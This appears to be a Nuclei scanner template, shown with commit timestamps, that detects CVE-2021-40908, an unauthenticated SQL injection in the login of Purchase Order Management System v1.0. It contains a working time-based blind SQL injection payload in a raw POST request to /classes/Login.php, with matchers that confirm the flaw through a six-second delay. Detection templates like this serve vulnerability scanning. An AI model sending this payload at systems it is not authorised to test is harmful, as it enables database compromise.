2023-06-05 07:03:16 +00:00
id : CVE-2021-40908
info :
name : Purchase Order Management v1.0 - SQL Injection
author : theamanrawat
severity : critical
description : |
SQL injection vulnerability in Login.php in Sourcecodester Purchase Order Management System v1 by oretnom23, allows attackers to execute arbitrary SQL commands via the username parameter.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest patches or updates provided by the vendor to fix the SQL Injection vulnerability in the Purchase Order Management v1.0 application.
2023-06-05 07:03:16 +00:00
reference :
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-09
- https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40908
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-40908
cwe-id : CWE-89
2023-10-29 11:57:59 +00:00
epss-score : 0.02031
2023-11-20 05:10:39 +00:00
epss-percentile : 0.87675
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:purchase_order_management_system_project:purchase_order_management_system:1.0:*:*:*:*:*:*:*
2023-06-05 07:03:16 +00:00
metadata :
verified : "true"
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : purchase_order_management_system_project
product : purchase_order_management_system
2023-06-05 07:03:16 +00:00
tags : cve,cve2021,sqli,purchase-order,poms
http :
- raw :
- |
POST /classes/Login.php?f=login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
username=test'+AND+(SELECT+4458+FROM+(SELECT(SLEEP(6)))JblN)+AND+'orQN'='orQN&password=test
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains(body, "status\":\"incorrect\"")'
condition : and
2023-11-20 06:22:09 +00:00
# digest: 4b0a00483046022100ba8cff36efcde7069e1abcf92b9c59692f8bbc06222aaaef0a05b35ba2e522ce022100fed8a9dae0015f2e1e34cadb3de3f29dc74c19d7b206be1cee2ca6e1a69e40d0:922c64590222798bb761d5b6d8e72950